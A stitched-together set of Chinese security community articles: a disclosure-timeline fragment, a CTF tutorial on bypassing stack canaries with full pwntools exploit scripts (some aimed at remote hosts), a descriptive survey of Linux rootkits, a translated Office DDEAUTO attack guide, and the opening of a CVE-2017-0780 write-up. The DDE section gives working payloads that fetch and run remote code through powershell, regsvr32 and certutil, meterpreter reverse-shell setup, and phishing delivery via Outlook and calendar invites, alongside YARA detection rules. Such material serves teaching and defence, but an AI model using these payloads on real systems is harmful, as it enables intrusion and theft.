Media与Context在解决这个问题时的专业性和响应能力。
以下是主要事件的时间轴：
2016年10月20日：通过[http://virginmedia.com/netreport](http://virginmedia.com/netreport)第一次披露
2016年10月20日：VM的互联网安全小组请求Context提供的更详细的说明
2016年10月24日：Context和Virgin Media召开电话会议，详细讨论。Context给出Poc。
2010年11月-2017年2月：Virgin Media与Netgear和Context合作开发和测试两种设备的补丁
2017年5月：作为定期固件更新的一部分Virgin Media推出补丁 | 社区文章 |
# 绕过canary保护的6种方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
canary保护又称金丝雀保护，作用是为了防止栈溢出的一种保护机制。工作原理是从fs/gs寄存器取值放在rbp-4或者rbp-8的位置（32位/64位），当用户输入结束后，程序会从rbp-4或者rbp-8的位置取出并与fs/gs寄存器对应位置的值进行比较，如果不相等就会执行__
stack_chk_fail函数，这个函数强行停止程序运行并发出警告，从而阻止栈溢出攻击。当然，这种保护并不是万无一失的，下面我将会列举出6种绕过canary的方法，每种方法多少都有一定的限制，具体还是要依据题目来决定采用何种方法。
下面列举一个64位下的canary保护运行机制：
程序开启canary保护后，在运行开始会从fs寄存器偏移为0x28的位置中取出8字节放入rax寄存器中，之后rax会将其放在rbp-8的位置，最后将rax的值清零
程序接收我们的输入后会进行检查，如果canary被覆盖就会执行stack_chk_fail函数从而阻止程序继续运行
## leak绕过
通过泄露canary来绕过canary，常见的有覆盖掉前面的\x00让输出函数泄露，还有printf定点泄露。
### **stackguard1**
一个简单的64位canary保护程序，gdb调试可以看到一开始程序会从fs寄存器对应的偏移处取值放入rax中，rax会放入rbp-8的位置，最后清零eax
程序运行到快结束时，会检查canary，首先将canary取出到rcx，rcx会和fs寄存器对应的偏移处取出进行比较，不同就会跳转到__stack_chk_fail[@plt](https://github.com/plt
"@plt")位置，强行结束进程并弹出警告
分析栈结构：缓冲区过后就是canary，所以如果是简单的溢出覆盖返回地址就会覆盖到canary，从而导致程序崩溃。因此，如果要利用栈溢出就一定要绕过canary。所以思路就是先通过输出函数泄露canary的值，之后在覆盖时用泄露的canary值覆盖canary，其它的就覆盖成我们想要的，这样就绕过了canary。
通过字符串列表找到bin/sh，找到调用的位置，发现函数canary_protect_me函数里面会调用这个字符串，我们可以利用这个后门函数获取到shell
继续分析，程序存在两次输入，一次gets输入，一次read输入，中间存在printf函数，可以对任意地址进行泄露
接下来read读取时，允许读取的0x60个字符，但是在0x28处就遇到canary，0x38就是返回地址，明显存在栈溢出
所以思路基本就是，先利用第一次输入泄露canary，在第二次输入时绕过canary并修改返回地址到back_door
因为是gets函数最后会补上\x00，会终止printf读取，所以无法通过覆盖泄露，但因为是printf输出，所以可以采取格式化字符串漏洞泄露canary
获取gadget
### EXP
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
back_door = 0x4011d6
""" ROPgadget --binary stackguard1 --only """pop|ret"|grep "rdi" """
pop_rdi_ret = 0x0401343
bin_sh = 0x402004
#p = process('./stackguard1')
p = remote('123.57.230.48',12344)
payload1 = '%11$p' # 泄露canary
p.sendline(payload1)
canary=int(p.recv(),16) # 接受canary
print canary
p.sendline('a'*0x28+p64(canary)+'a'*8+p64(back_door))
#gdb.attach(p,'b main')
p.interactive()
## one by one爆破
one by
one爆破思想是利用fork函数来不断逐字节泄露。这里介绍一下fork函数，fork函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程，这里的相同也包括canary。当程序存在fork函数并触发canary时，__
stack_chk_fail函数只能关闭fork函数所建立的进程，不会让主进程退出，所以当存在大量调用fork函数时，我们可以利用它来一字节一字节的泄露，所以叫做one
by one爆破。
### bin1
程序中存在fork函数，而且还是不断循环，符合one by
one爆破条件，因为是32位程序，canary第一个字符是\x00，所以我们只需要爆破3个字节，这三个字节对应的十六进制码范围为00~FF
爆破原理：
我们每次尝试多溢出一字节，如果接收到进程错误退出就尝试另一种字符；如果接收到正常返回就继续溢出一字节，直到canary被完全泄露。因为没有远端环境加上没有flag文件，所以是get
flag error
### EXP
from pwn import *
local = 1
elf = ELF('./bin1')
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "index " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)
p.send(payload)
p.interactive()
## ssp攻击
当程序检测到栈溢出时，程序会执行 **stack_chk_fail函数，而**
stack_chk_fail函数作用是阻断程序继续执行，并输出argv[0]警告，而ssp攻击原理是通过输入足够长的字符串覆盖掉argv[0]，这样就能让canary保护输出我们想要地址上的值。
**注意：这个方法在glibc2.27及以上的版本中已失效**
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
上面是
stack_chk_fail()函数的源码，在libc_message函数中第二个%s输出的就是__libc_argv[0]，argv[0]是指向第一个启动参数字符串的指针。我们可以利用栈溢出将其覆盖成我们想要泄露的地址，当程序触发到canary时就可以泄露我们想要的东西了。
### smashes
通过反汇编发现程序会进入一个函数，这个函数中存在gets危险函数，可以利用它进行栈溢出操作。
在字符串窗口发现flag字样，根据提示我们可以知道flag就在这里，不过是在远端环境中
所以我们只要将argv[0]指向这个地址就可以泄露。
但是后面发现行不通，并没有泄露我们想要泄露的地址里面的值。
回到伪代码里面发现下面一行
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
这行代码会将0x600D20这个地址里面的值清空，导致flag被清除。看了一下一些师傅的博客了解到ELF的重映射。
**当可执行文件足够小的时候，他的不同区段可能会被多次映射。也就是说该flag会在其他地方进行备份。**
同时还要注意一点，64位下地址都是8的倍数所以最终我们要泄露的地址是0x400d20
### EXP
from pwn import *
context.log_level = 'debug'
p = remote("pwn.jarvisoj.com",9877)
p.recvuntil('name? ')
p.sendline(p64(0x400d20)*300)
p.interactive()
## 劫持___stack_chk_fail
canary保护原理无非就是检测到溢出后调用 **stack_chk_fail函数，所以如果我们能够修改** stack _chk
_fail函数的got表为后门函数，当检测溢出调用__ stack_chk_fail函数后，程序就不会退出并警告而是执行我们的后门函数。
### [BJDCTF 2nd]r2t4
进入IDA很容易就发现后门函数
继续分析，程序只存在一次输入输出，但输出却调用printf函数，也就存在格式字符串漏洞，我们可以利用其修改或泄露任意地址
找到canry对应的偏移并利用printf修改 __ stack_chk_fail函数的got表
最后获得flag
### EXP
from pwn import *
p = process('./r2t4')
elf = ELF('r2t4')
back_door = 0x400626
__stack_chk_fail_got = elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail_got+2) + p64(__stack_chk_fail_got)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
## 修改TLS结构体
如果我们溢出的足够大，大到能够覆盖到fs/gs寄存器对应偏移位的值，我们就可以修改canary为我们设计好的值，这样在程序检测时就会和我们匹配的值进行检测，从而绕过canary保护。在初始化canary时，fs寄存器指向的位置是TLS结构体，而fs指向的位置加上0x28偏移的位置取出来的canary就在TLS结构体里面。
TLS结构体如下所示：
### CTF2018 babystack
拖进IDA里面
子进程里面先让用户输入要输入的大小，如果大于0x1000就输出返回不进行读取，如果小于等于就进行读取
s的大小是0x1010比0x10000小明显存在栈溢出，我们可以从这里溢出到TLS修改canary，接下来就是确定canary的位置
这里我采取爆破，不断尝试获得canary的位置。先构建好ROP链，控制程序返回到主函数，这样肯定会被检测到异常退出，但是如果我们不断加长ROP链直到覆盖TLS就可以成功执行
确定好位置以后就可以开始构造ROP链，泄露地址puts函数的地址，计算出libcbase，最后利用栈迁移，写one_gadget
获取gadgets
之后构造ROP链
payload = 'a'*0x1010
payload += p64(fakestack)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakestack)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
payload += 'a'*(offset - len(payload))
1. p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)输出puts的地址
2. p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(fakestack)+p64(0)+p64(read_plt)组装read函数向fakestack写东西
获取one_gadget
### EXP
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./babystack')
elf = ELF('babystack')
libc = elf.libc
main_addr = 0x4009E7
offset = 6128
bss_start = elf.bss()
fakestack = bss_start + 0x100
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
read_plt = elf.symbols["read"]
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]
p.recvuntil("send?")
p.sendline(str(offset))
payload = 'a'*0x1010
payload += p64(fakestack)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakestack)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
payload += 'a'*(offset - len(payload))
p.send(payload)
p.recvuntil("goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0x4527a #0x45226 0x4527a 0xf03a4 0xf1247
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload2 = p64(0x12345678)
payload2 += p64(one_gadget)
p.send(payload2)
p.interactive()
## 数组下标越界
当程序中存在数组，没有对边界进行检查时，如果我们可以对数组进行对应位置修改，我们就可以绕过canary检测，直接修改返回地址
例如，我们可以对arr数组任意位置进行修改，这就存在数组下标溢出，以下图为例，返回地址在数组中就相当于arr[6]，如果我们对arr[6]进行修改就是对返回地址进行修改
### homework
直接进IDA里面观察，发现存在后门函数
继续分析
这里没有对数组进行检查，我们可以利用它来修改返回地址，接下来就是寻找返回地址对应位置
所以我们只需要将arr[14]修改成后面函数地址即可拿到shell
### EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
elf = ELF('./homework')
p = process('./homework')
libc = elf.libc
p.recvuntil("What's your name? ")
p.sendline("aaaa")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
gdb.attach(p)
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()
## 总结
以上就是我所总结绕过canary的方法，可能写得不太好或者不够全面，但希望可以帮助到大家 | 社区文章 |
**作者：深信服千里目安全实验室**
**相关阅读：
1、[【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑](https://paper.seebug.org/1867/ "【Rootkit
系列研究】序章：悬顶的达摩克利斯之剑")
2、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://paper.seebug.org/1868/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁")
3、[【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/
"【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁")
4、[【Rootkit 系列研究】Rootkit检测技术发展现状](https://paper.seebug.org/1871/
"【Rootkit系列研究】Rootkit检测技术发展现状")
5、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）](https://paper.seebug.org/1872/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）")**
## 序言
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在上一篇文章“【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁”里，我们介绍了Windows Rootkit的
**生存期，可达成的效果，运用这项技术展开攻击的可行性以及这项技术的发展现状。** 除了Windows操作系统，Linux、Mac
OS等同样受Rootkit关注。在本文中，我们将目光投向Linux操作系统。我们首先对 **近年来用户态Rootkit在黑产组织中的广泛使用**
进行讨论，接着介绍 **内核态Rootkit的高度定制化需求和Linux系统上存在的其他类型Rootkit，** 最后从
**攻防视角对Rootkit进行总结。**
## 难以检测的Linux Rootkit
想象以下场景：由于业务需要，你们公司稳定运行多年的某台Linux服务器需要进行系统升级，在完成升级后，你偶然注意到服务器上多了几个看起来像系统文件的文件（夹），你的第一反应是什么？这是新版本引入的系统文件，pass？有点可疑，去搜索引擎查询这些文件名是否正常？
**小心！任何一丝异常的背后都可能潜藏着巨大的危险。**
Rootkit在几乎所有操作系统上都是最具挑战性的恶意软件类型，它 **利用操作系统代码中的疏忽，隐藏它的存在和恶意行为。**
制作精良的Rootkit可以在受害主机长期驻留，让主机在 **用户视角和部分内核视角没有任何感知，** 进而
**很难通过系统提供的检测工具以及常规的防病毒软件进行检测和清除。**
## 用户态倍受黑产青睐
Linux
Rootkit运行时所处的层次分用户层和内核层两种。对于运行于用户层的用户态Rootkit，它所涉及的技术简单且成熟，例如替换系统文件，动态链接库劫持等。对近两年曝光的黑产组织攻击样本进行分析，我们发现
**越来越多的黑产组织以某些开源Rootkit为基础，将用户态Rootkit技术加入自己的技术栈。**
进一步讲，黑产组织喜欢将用户态Rootkit作为其攻击链中multi-stage-malware的一部分，即他们没有将Rootkit功能集成在原本的挖矿或僵尸网络样本中，而是在原有恶意软件的基础上新增Rootkit，用于实现隐藏文件等新的功能，以
**规避安全公司提出的感染检测方案：** “通过检查某些路径、文件的存在与否，判断某主机是否受到某恶意软件的影响”。
根据某海外安全厂商2020年底的报告，H2Miner挖矿家族开始使用新的Rootkit样本。该Rootkit修改自开源项目“beurk”，它使用LD_PRELOAD技术劫持动态链接过程，将磁盘上的挖矿文件“kinsing”以及正在运行的相关进程隐藏。这使得IT管理员在感知到系统运行速度无故变慢后，无法通过“top”命令看到占用大量CPU资源的挖矿进程。值得一提的是，H2Miner家族目前仍十分活跃，我们发现2021年底该家族使用Log4j漏洞进行挖矿软件传播。（链接：12.12
Log4j RCE 黑产从业者的狂欢）
2021年我们还观测到活跃的TeamTNT挖矿家族使用的Rootkit样本（链接：1.10
2021挖矿木马趋势报告）。该家族除了利用修改自开源项目“Diamorphine”的内核态Rootkit之外，还在用户层替换了ps、top等系统命令文件，当使用这些命令进行排查时，挖矿的相关痕迹会被隐藏。具体代码如图：
2021年4月，某海外安全厂商曝光了一种新型远控程序Facefish，他们怀疑攻击者正在进行僵尸网络组网，并计划在组网完成后，以
**“访问权限即服务”（access-as-a-service）**
的方式出售该网络的访问权限。Facefish远控通过第一阶段的dropper释放出一个Rootkit，Rootkit利用用户态常用的动态链接库劫持技术，实现ssh、sshd的运行时链接程序劫持，最终在受害主机上放置一个后门。事实上，对于一个Rootkit程序，Facefish的这种用法十分原始，因为它仅利用了Rootkit的触发机制，恶意so文件中还可以增加一系列隐藏功能。动态链接库劫持效果如图：
为了降低被怀疑的概率，上述组织使用的恶意动态链接库分别命名为libsystem.so、libs.so，它们
**刻意模仿Linux的系统自带程序文件名，并驻留在系统文件路径下，** 企图蒙蔽服务器管理员。
试想如果你在包含上百个so文件，并且这些文件的文件名均以“lib”开头的文件夹/lib64中看到了libs.so，这会引起你的怀疑吗？不过对于防御的一方，上述场景并不会让人夜不能寐，因为针对用户态Rootkit，有
**诸如文件完整性检测、交叉视图等十分成熟的检测技术。** 归根结底，这些Rootkit都只运行在用户层，
**当防御措施深入进操作系统内核，从底向上看，他们通通无处遁形。**
## 内核态的高度定制化
防御方可以深入Linux操作系统内核进行防守，攻击的一方当然也可以进入内核层进行攻击。越接近Linux操作系统底层内核代码，Rootkit的开发难度越大，对其进行检测的难度也越高。对攻击者来说，高投入通常意味着更有价值的攻击目标和更高的回报，如果开发得当，Rootkit可以长期藏匿在目标机器中，所以内核态Rootkit也是攻击者关注的重点。
传统的内核态Rootkit使用可加载内核模块（LKM）技术进入内核层后，在内核层进行“hook”。从执行在用户态的程序调用“int
0x80”陷入内核开始，整个系统调用流程中的任何一个位置，都可能成为内核态Rootkit进行hook的目标，
**围绕“hook什么”，“如何hook”这两个问题，出现了近十种内核态Rootkit技术。**
与用户态Rootkit不同，由于内核态Rootkit直接对Linux内核源代码进行操纵，所以对Rootkit有 **极高的定制化要求。**
这是因为经过多年的发展，Linux的内核版本众多，每个版本的内核代码都有或多或少的修改，攻击者开发的某个内核态Rootkit可以在A版本上正常运行，很可能在B版本上完全失效，这就可能出现文章开头提到的那一幕。
前文提到的TeamTNT挖矿家族除了在用户态替换系统命令文件外，还使用内核态Rootkit技术，将恶意内核模块diamorphine.ko加载进内核，实现进程、模块、文件目录的隐藏以及用户权限的提升。该挖矿家族以云主机为目标，Rootkit
**只能在2.6.x、3.x、4.x内核版本上正常运行，** 具体实现如图：
除了黑产，APT组织发起的定向攻击中也用到了内核态Rootkit。APT组织对隐蔽性有更高的要求，这也给信息收集环节提出了更大的挑战，APT组织需要清楚的知道某次定向攻击的目标所使用Linux服务器的内核版本号。在必要条件下，APT组织可以拿到与目标服务器完全相同的实体，并直接在其上进行Rootkit开发。例如震网病毒事件中，攻击者对目标设备了如指掌，而后在恶意代码中加入了严苛的环境判断。再例如2020年曝光，据称由APT28开发的内核态Rootkit
Drovorub，它针对 **3.7以下版本** 的Linux内核，特别是Red Hat发行版进行攻击。
## 内核态攻防进入深水区
Rootkit **最关键的要点是隐藏** ，而
**隐藏意味着攻击者清楚的知道为什么某个文件（夹）会显示，为什么某个网络连接可被观测，然后对这些显示的机制进行绕过，以达到隐藏的效果。**
攻击者知道的这些机制，防御方当然也知道，并且对其开展检测，而攻击者进一步进行绕过，随后便产生了攻防双方的猫鼠游戏。
**Linux内核态Rootkit攻防的本质，是双方谁对操作系统底层技术更加了解**
。继续深入Linux内核，有没有更加底层的Rootkit技术？答案当然是有，而且近年来越来越多。
2015年，Ryan利用Linux内核中的 **kprobe机制**
实现了Rootkit。Kprobe是Linux内核开发者用于内核函数跟踪的一种轻量级内核调试技术，这个Rootkit展示了利用基于kprobe机制进行hook，实现Rootkit功能的可行性。
2016年，Michael在Blackhat上提出了一种 **基于命名空间** 的新型Linux Rootkit——Horse
Pill，它在操作系统启动过程中劫持虚拟根文件系统initrd（boot loader initialized RAM
disk），使受攻击的服务器进入另一个由攻击者创建的“楚门的世界”（即一个子命名空间）。在这个子命名空间中，用户所有的操作都能正常执行，但完全意识不到还存在另一个并行运行的，由攻击者所控制的“真实世界”。
在kprobe的基础上，Linux 4.0以上版本增加了 **eBPF技术**
，该技术可以在不加载内核模块的前提下，在Linux内核中运行用户编写的程序。Guillaume在2021年Blackhat上公开了基于eBPF的Rootkit。
## 总结
虽然kprobe、Horse Pill、eBPF在内核更加底层的位置完成了Rootkit的隐藏功能，但是
**痕迹是否真的隐藏，会根据观测的视角而大不相同。** 理论上 **不存在没有任何痕迹的Rootkit**
，总有某些角度可以观测到系统出现了异常，因为如果一个程序在所有视角都隐藏，那么攻击者也无法对它进行控制。上述这些技术可以被攻击者所利用，而防御方同样可以利用它们。
**现在各安全公司已利用它们设计功能更强大的安全软件，对系统进行监控。**
我们已经深入Linux内核深处，是否还存在更加底层的Rootkit？2021年12月28日，海外某安全公司给出了突破操作系统的答案。他们发现了固件Rootkit“iLOBleed”，其隐藏在惠普固件HP
iLO 上，同时可以以最高权限访问和修改设备上所有的软硬件资源。
事实上，对于现有的高级Rootkit，安全软件已经非常难以检测，通常需要安全专家人工介入分析，
**可以想象某些由APT组织定向投递的Rootkit正在受害机器中潜伏。** 对Rootkit技术进行研究，
**不是去解决想象中的问题，而是回应真实的ring0世界。**
## 参考
1.<https://www.4hou.com/posts/vLmm>
2.<https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html>
3.<https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/>
4.<https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf>
5.<https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf>
6.<https://github.com/elfmaster/kprobe_rootkit>
7.<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf>
8.<https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity>
9.<https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/>
10.<https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/>
* * * | 社区文章 |
# 【技术分享】Office DDE多种利用方式已公开
##### 译文声明
本文是翻译文章，文章来源：willgenovese.com
原文地址：<http://willgenovese.com/office-ddeauto-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**TL;DR**
****
打开outlook客户端查看邮件及office文档时，千万要注意，不清楚的弹框不要点确认！
**概述**
****
Sensepost的安全研究专家在几天之前曾发布过一篇漏洞报告，根据该报告所描述的内容，当目标用户打开了一个经过特殊制作的Office文档时，该漏洞可以在不使用恶意宏的情况下在目标主机中触发命令执行。虽然攻击者在实现这种攻击的过程中，需要利用社会工程学技术来欺骗用户点击两到三个消息提示框中的“确认”按钮，但绝大多数的终端用户都还是非常好骗的。
研究人员发现，通过利用DDEAUTO功能所提供的参数，攻击者可以远程利用PowerShell在目标主机中下载恶意Payload。DDE是Inter-Process Communication（进程间通信-IPC）机制下的一种遗留功能，最早可以追溯到1987年，它可以与一个由其他基于Microsoft
Windows程序所创建的文档建立一条动态数据交换（DDE）链接（当你更新DDE域时，DDE域会插入新的信息，链接文档将能够查看到该信息）。
SensePost的研究人员发现，除了指定一个类似Excel这样的应用程序之外，攻击者还可以将其他应用程序的任意参数当作DDE的第一个参数，并引用其他的argument作为第二个参数来使用（大小不能超过255个字节）。
虽然Sensepost的研究人员在演示该漏洞时使用的是Word，但同学们可以将这项技术用于其他的应用程序。在过去的几天时间里，Twitter上已经有人公布了很多其他的利用方法，例如通过Word、Excel以及基于富文本的Outlook电子邮件来实现代码执行。在这篇文章中，我将跟大家讨论一下我在我自己实验室里成功实现的方法。
**快速和简单的测试**
****
打开一个新的Word文档，按下键盘的组合键 **CTRL+F9** ，在文档中出现“{ }”之后将下面这段代码复制到两个大括号之间，然后保存文件：
DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"
此时你Word文档的界面应该如上图所示的一样。
**Payload**
****
虽然弹出calc（计算器）是比较“没意思”的，但这只是演示这种功能的实现而已，你还可以利用这种功能做到更加复杂的事情，例如在目标系统中执行恶意Payload。比如说：
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\WindowsSystem32cmd.exe /c cscript.exe index.js"
DDEAUTO c:\windows\system32\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\windows\system32\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "
除此之外，我还自己编写了一个bash脚本并使用CactusTorch来自动化地在生成vbs/hta/js文件中生成反向HTTPS meterpreter
Payload，你可以将它们插入到Word文档中以进行测试。【脚本获取地址】
我通过自己的研究发现，你还可以利用社会工程学技术来对程序所弹出的消息框信息进行处理，并增加用户点击“确认”的可能性。
DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"
虽然PowerShell
webdl脚本可能更加容易实现一些，但是你可能会需要让你的Payload全部保存在一个文档之中，这样你就不需要再通过网络来调用额外的恶意代码了。Dave
Kennedy已经更新了他的Unicorn Python脚本，该脚本可以生成一个msfvenom meterpreter
Paload并当DDEAUTO被触发的时候得到一个base64
编码/解码的Payload。近期，Dave还修复了关于消息窗的问题，感兴趣的用户可以访问他的GitHub库以获取更多信息【传送门】。
在Kali中开启终端窗口：
IP=`ip -4 addr show eth0 | grep -oP '(?<=inets)d+(.d+){3}'`
git clone https://github.com/trustedsec/unicorn.git && cd unicorn
python unicorn.py windows/meterpreter/reverse_https $IP 443 dde
cat powershell_attack.txt | xclip -selection clipboard | leafpad powershell_attack.txt
将上面这段Payload复制到Word文档之中，保存好文档之后将其发送给你的目标用户。接下来，在一个新的终端窗口中打开你的meterpreter
handler来接收shell命令。
show eth0 | grep -oP '(?<=inets)d+(.d+){3}'`
msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z"
注：如果你需要修改你的外部IP地址，你可以更改其中的第一行代码：
IP="$(dig +short myip.opendns.com @resolver1.opendns.com)"
**Outlook**
你还可以在Outlook富文本电子邮件信息中触发这种功能，不过需要注意的是，对于Outlook 2013/2016来说，你需要在添加DDEAUTO
Payload之前嵌入一个图片/表格/对象。
接下来跟之前一样，打开一个新的Word文档，然后按下键盘的组合键CTRL+F9，在文档中出现“{
}”之后将Payload拷贝到两个大括号之间，然后打开一个新的Outlook电子邮件信息。点击“格式化文本”（Format
Text）标签，将消息格式修改为“富文本”（Rich Text）格式：
在消息内容（body）中任意复制粘贴一张图片文件：
从你的Word文档中复制DDEAuto
Payload，将其粘贴到邮件内容（body）之中，然后输入收件人（目标用户）的邮件地址并点击发送按钮。接下来，Outlook会弹出一个DDE消息框，你只需要点击“取消”（No）即可。当你的目标用户收到这封电子邮件之后，除非他们点击了“回复”（Reply）按钮，否则将不会触发Payload的执行。如果他们点击了前两个消息框中的“确认”（Yes）按钮，则将会触发Payload的执行。
**日历邀请**
****
另外一种攻击向量就是通过触发日历邀请事件来实现的，每当用户打开日历查看自己的行程安排时，就会触发Payload的执行：
**缓解方案**
****
我们本文所介绍的技术已经在doc（x/m）、dot（x/m）、rtf、Word
XML、草稿信息以及oft文件上测试成功了。虽然当这些类型的文件被打开之后，负责触发并解析恶意Payload的是Microsoft
Word，但微软的回应则是：这是一种专门设计的功能，他们不会对这项功能进行所谓的“漏洞修复”，除非当前有某种勒索软件或其他的木马病毒正在利用这项功能来发动攻击。
[wdormann](https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b)在自己的GitHub代码库中上传了一个.reg文件，有需要的用户可以下载这个.reg文件【[传送门](https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b)】并在注册表中禁用DDEAUTO功能，但禁用DDEAUTO功能可能会导致OneNote的某些功能出现问题。
除此之外，[Nviso](https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/)还设计了如下所示的YARA规则来帮助我们检测DDE：
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
rule Office_DDEAUTO_field {
strings:
$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
condition:
$a
}
rule Office_DDE_field {
strings:
$a = /.+?b[Dd][Dd][Ee]b.+?/
condition:
$a
}
rule Office_OLE_DDEAUTO {
strings:
$a = /x13s*DDEAUTOb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
rule Office_OLE_DDE {
strings:
$a = /x13s*DDEb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a | 社区文章 |
# 【技术分享】CVE-2017-0780：拒绝服务漏洞可以导致Android信息应用崩溃
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[](http://bobao.360.cn/member/contribute?uid=2954465307)[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
有时我们都会收到一些有趣的表情包GIF，但是，如果这个GIF会导致你的Android信息应用[崩溃](https://play.google.com/store/apps/details?id=com.google.android.apps.messaging)呢？
近期，趋势科技向Google报告了一个拒绝服务漏洞，而这种漏洞正好可以做到这一点，甚至更多。这个漏洞目前已被CVE收录为 **CVE-2017-0780**
，我们通过测试，确定这个漏洞影响最新的 **Nexus** 和 **Pixel**
设备。这个漏洞允许攻击者非法远程发送一个恶意构造的包含畸形数据的彩信，导致受害者Android信息应用崩溃。即使设备/系统在安全模式下重启或启动，应用程序也无法从崩溃中恢复。
**
**
**影响**
谷歌商店的Android信息应用安装量高达 **5000万**
。鉴于它也是许多Nexus和Pixel设备的默认信息应用程序(也就是说，它不能卸载)，对使用它的终端用户和企业来说，其影响确实是显而易见的。
例如，企业可以利用Android信息应用与客户进行沟通。用户也可以创建更个性化的信息，与其他应用也不会发生混淆。鉴于这款应用是被定位为跨各种Android平台的无缝信息服务，假设该应用程序无法使用，可能会对Android用户的沟通产生很大的负面影响。
